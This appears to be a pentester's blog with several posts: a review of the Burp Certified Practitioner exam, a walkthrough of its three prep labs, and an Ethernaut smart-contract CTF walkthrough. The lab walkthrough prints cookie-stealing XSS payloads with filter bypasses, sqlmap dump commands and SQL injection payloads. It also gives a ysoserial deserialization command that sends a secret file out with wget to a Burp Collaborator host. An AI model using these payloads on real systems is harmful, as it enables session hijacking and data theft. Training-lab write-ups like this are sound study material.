Friday, December 3, 2021

Burp Certified Practitioner Exam




Right, no spoilers here! This is just a high level experience of my arduous journey of being  a Burp Certified Practitioner.  After looking around for a worthy certification for 2021, I settled on Burp Certified Practitioner, being a full time pen-tester and mostly doing Web App testing, Burp had always been my go to arsenal. Hence, when I saw this exam offered by Portswigger, it made perfect sense for me to embark on the challenge. 

Firstly, this exam is NOT easy, it test you in blackbox Web pen-test. From a scale of 1 to 10, 10 being very difficult, I rate it a 7 or even a 8 (depending on how many times you did it, LOL). You need to solve 6 questions to capture 2 flags in a 2 host challenge under 4 hours. It must to be done in the following order - Initial entry by compromising any user account, privilege escalate to access the admin interface and finally, read the contents of /home/carlos/secret file. Initially, Portswigger gave us 3 hours but after too many people had complained, I guess they relented. Each time you re-sit the exam, you will get new machines. So don't hope of the same questions. If you are lucky you might see some similar questions but they did a very good job randomizing it that it is nearly impossible for you to completely get the same hosts on every attempt. 

As far as prep is concerned, you will need  be very familiar with the labs, make sure you have done ALL the Practitioner level and below lab exercises. Recently, Portswigger had the USD9 promo, hence, I took full advantage of it by buying multiple vouchers but remember that one Portswigger account is only entitled to one voucher at any given time, so register multiple accounts if you want to purchase a few. I failed more than 7 times. During the initial attempts, I was plague with multiple IT issues, such as connection, proctoring, password and registration problems. Being a fairly new exam, Portswigger was constantly developing it. Fortunately, it got much smoother after a few attempts, Thanks to Portswigger staff that was very helpful in settling all my issues. 

I had nearly wanted to give up after my fifth attempt but I was adamant on passing this exam as I had my eye on only one certificate this year and that happened to be Burp Certified Practitioner. Overall, I had learn a lot of practical techniques that I am certainly going to incorporate into my Pen-testing job and bug hunting initiatives. From what I had known, a lot of people had to retake this exam more than once to pass, so don't get discouraged if you didn't pass the first round. The exam is designed to be challenging, you are not going to get straight forward vulnerabilities, often, there is some twist to some of the challenges and even rabbit holes! Perseverance is the key! Never give up! Cheers!

Tuesday, August 31, 2021

Burp Suite Certified Practitioner Exam Prep Walk thru

For details of the exam and labs, go to https://portswigger.net/web-security/certification/how-it-works

The rest of this post are the steps to get thru the final 3 exam prep labs. Not entirely difficult, except for the last part that required a bit of google-fu. The rest of the TTPs are in the apprentice/practitioner labs.

EXAM PREP 1/3: XSS


1. DOM XSS in lookup function

- to find it, send lookup to intruder, burp scanner will raise it as DOM OR not DOM XSS. The vuln js is at 'resources/js/searchResults.js'

- Chrome "untrusted types" plugin will show reflected vuln eval payload statement in use in console tab!

  It will show the js payload to inject to complete the popup statement:


var searchResultsObj = {"results":[],"searchTerm":""-alert(1)-""}


- Possible payloads at the search function are: (refer to Lab Reflected DOM XSS)


\\"-alert(1)}//


OR


"-alert(1)-"


- notes: https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting

- Highly recommended to install https://github.com/filedescriptor/untrusted-types for Chrome, useful to look for dangerous sinks such as eval. Eg:





- "-alert(document.cookie)-" will be blocked by server, can be seen in network tab in devtools, need to find bypass, google it.

  to bypass document.cookie filter use this trick:


\\"-alert(window["document"]["cookie"])}//


OR


"-alert(window["document"]["cookie"])-"


*go to https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/ for more info*

* use "untrusted types" chrome plugin to help you get the right bypass syntax*

- to send the victim cookie to attacker server and to evade eval filter encode the dots in url format %2e:


\\"-(window["document"]["location"]="https://exploit-ac271f041e05294980199d1901ad0098%2eweb-security-academy%2enet/?"+window["document"]["cookie"])}//


OR


"-(window["document"]["location"]="https://exploit-ace61f411f22344280191eb3016d00ea%2eweb-security-academy%2enet//?"+window["document"]["cookie"])-"


- Host this js script on exploit server, taken from "Lab: Reflected XSS into HTML context with all tags blocked except custom ones". The url in exploit server must be uri encoded completely.


<script>

location='https://ac2d1f471e24291580959d6900e30065.web-security-academy.net/?lookup=%5C%5C%22-%28window%5B%22document%22%5D%5B%22location%22%5D%3D%22https%3A%2F%2Fexploit-ac271f041e05294980199d1901ad0098%252eweb-security-academy%252enet%2F%3F%22%2Bwindow%5B%22document%22%5D%5B%22cookie%22%5D%29%7D%2F%2F';

</script>


OR


!! NOTE: they interchange search_term or lookup or someshit...watch out!!


<script>

location='https://ac701f751f8f348b80171ec10036004a.web-security-academy.net/?search_term=%22-%28window%5B%22document%22%5D%5B%22location%22%5D%3D%22https%3A%2F%2Fexploit-ace61f411f22344280191eb3016d00ea%252eweb-security-academy%252enet%2F%2F%3F%22%2Bwindow%5B%22document%22%5D%5B%22cookie%22%5D%29-%22';

</script>



- obtain session cookie for carlos and login. You are done with 1/3. Now time to access the admin panel!


EXAM PREP 2/3 SQLi


2. use burp scanner to scan for SQLi.


- insertion point at the 'SortBy=DATE' param, put a * and feed it into sqlmap like a pro hacker:


https://ac2d1f471e24291580959d6900e30065.web-security-academy.net/filtered-search?lookup=test&SortBy=DATE'&blogger=


- use sqlmap to extract.


sqlmap -u "https://ac2d1f471e24291580959d6900e30065.web-security-academy.net/filtered-search?lookup=test&SortBy=DATE*&blogger=" --cookie="_lab=46%7cMCwCFG2IfeQ5CHUndYpTAPtmGpE8MZRHAhROekAjQ2%2bFoBDYXnQhjEaI0TGBCTenrDuN8SmGoEzablVpLkdA07iiBE72yehRPHxSL5BW4bAUUq1m6Apg%2fO6jwIIPOjCU4qfFuoNCIz9S%2f7Nk12%2fOvm4C7BmOU4QbEYLOdPrZgIGUCe0%3d; session=DtX3UfneU9ZTeTlU20TY7lUzRj7DEhCL" --dump


- Based on sqlmap, the PostgreSQL injections are: 


Parameter: #1* (URI)

    Type: boolean-based blind

    Title: PostgreSQL boolean-based blind - Parameter replace

    Payload: https://ac701f751f8f348b80171ec10036004a.web-security-academy.net:443/filtered_search?SearchTerm=test&organizeBy=(SELECT (CASE WHEN (9975=9975) THEN 9975 ELSE 1/(SELECT 0) END))&blogartist=


    Type: error-based

    Title: PostgreSQL error-based - Parameter replace

    Payload: https://ac701f751f8f348b80171ec10036004a.web-security-academy.net:443/filtered_search?SearchTerm=test&organizeBy=(CAST((CHR(113)||CHR(98)||CHR(106)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (4363=4363) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(106)||CHR(113)) AS NUMERIC))&blogartist=


    Type: stacked queries

    Title: PostgreSQL > 8.1 stacked queries (comment)

    Payload: https://ac701f751f8f348b80171ec10036004a.web-security-academy.net:443/filtered_search?SearchTerm=test&organizeBy=DATE;SELECT PG_SLEEP(5)--&blogartist=


    Type: time-based blind

    Title: PostgreSQL > 8.1 time-based blind - Parameter replace

    Payload: https://ac701f751f8f348b80171ec10036004a.web-security-academy.net:443/filtered_search?SearchTerm=test&organizeBy=(SELECT 5932 FROM PG_SLEEP(5))&blogartist=



- use the following manual SQLi to get the admin passwd:


????????


- extract administrator password and delete user carlos from admin panel.


EXAM PREP 3/3 SERIALIZED


3. serialization at admin-prefs cookie! Bug can be detected using Burp scanner


- payload is base64 + gzip. Use Burp 'Deserialization scanner' plugin to test and confirm gadget. It will detect the following:


Apache Commons Collections 3 Alternate payload 2 (Sleep): Potentially VULNERABLE!!!

Commons BeanUtils (Sleep): Potentially VULNERABLE!!!

Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!!

!!ALL FALSE+, NEED TO TEST YOURSELF, LOOK IN BURP SCANNER OUTPUT!!


- please do this in Kali!! Need ysoserial.jar


- refer to Lab: Exploiting Java deserialization with Apache Commons


Eg:

java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections5 'cat /home/carlos/secret' | base64


- They blocked backticks, so don't try to exfiltrate OOB via DNS or wget. Eg 'host `cat /home/carlos/secret`.xxxxx.burpcollaborator.net. It won't work!


-  Commons Collections 5


java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections5 'wget --post-file /home/carlos/secret 57atjr760eg9rmvtk7hwu2ho4fa68ux.burpcollaborator.net' | gzip -f | base64 -w0


- https://notsosecure.com/oob-exploitation-cheatsheet/

- need to OOB the /home/carlos/secret in wget request, output will be visible in burp collab.


3/3 completed


Saturday, June 5, 2021

Ethernauth CTF Walkthrough: Level 1 Fallback

 

DeFi Deep Dive - What is OpenZeppelin?

Motivations

I am on my way to explore the world of blockchain security and this article was written as a guide for me to document my learnings. It explores the first level of a simple CTF programme by openZepellin designed to help testers to understand common vulnerabilities in blockchain smart contracts.

Overview

The Ethernauth CTF teaches you the basic idea of blockchain audit. The idea is to take ownership of the smart contract. This happens when we make a contribution to the wallet by invoking the fallback(). There is a logic flaw in the fallback() that makes the player the owner of the smart contract, once attacker had owned it, player can withdraw funds from the smart contract completely. The fallback() is invoked when the contracts receives ether or when an unknown function method is called. You will need to examine the smart contract Solidity code below for the logic flaw (highlighted in yellow):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  fallback() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Here are the steps:



2. Install Metamask

3. Complete "0. Hello Ethernaut"

4. Go to "1. Fallback"

5. Click "Get New Instance"


6.  Using Inspect Element (Ctrl-Shift-C), Click on Console 



7. Check contract owner & player address, notice that both are different, the goal is to pwn the contract owner:

>> await contract.owner()

< -  "0x9CB391dbcD447E645D6Cb55dE6ca23164130D008"

8. Check player address:

>> player

<- "0x9Aa43DEA4b71E291c22f35f46Cf28Df60D19Ca15"

9. Check the players' contribution, Array should be 0:

>> await contract.contributions(player)

10. Make a contribution of value = 1, metamask should load, confirm the transaction:

>> await contract.contribute({value:1})

11. Send it, metamask will pop up again:

>> await contract.sendTransaction({value:1})

12. Finally, check the contract owner address, it should be yours!

>> contract.owner()

<value>: "0x9Aa43DEA4b71E291c22f35f46Cf28Df60D19Ca15"

>> player

13. Time to drain the wallet since you now own the contract, metamask will appear twice, click confirm:

>> await contract.withdraw()

14. Click on Submit instance and confirm metamask transaction, you are done!

15. Game Over!

Closing Summary

There exist logic flaws in smart contracts that can be exploited by an attacker to completely drain the wallet. A smart contract audit should be able to identify the flaw by interacting with the smart contract. In this CTF, testing was done via a browser console, however, there exist other more intricate ways of buidling a virtual blockchain env for comprehensive testing of various smart contracts. Smart contracts are written in Solidity language, a tester should have knowledge in debugging this language with great attention to fine detail, the idea is to spot flaws in the smart contract that could be exploited by black hats. I believe the approach is similar to white box testing where a tester examines the code and runs it thru a series of debuggers designed to weed out bugs that could impact the security and integrity of the smart contract. Smart contract auditing is still a new thing but there are a few companies offering services for major Crypto companies looking to secure their blockchain contracts. I forsee that this skill will become more important for Cyber security professionals to master as blockchain technology in particularly used in Defi services are becoming more popular.

References

https://blog.positive.com/the-ethernaut-ctf-writeup-dc3021824abc

https://www.youtube.com/watch?v=2jmlT_JkMdI



Saturday, January 23, 2021

Blind SQLi in PrestaShop CVE-2020-15160

 Here are the slide pack for my talk for the Malaysian Rawsec 2020 Virtual Meetup #1. Video recording of the technical demo can be found, here.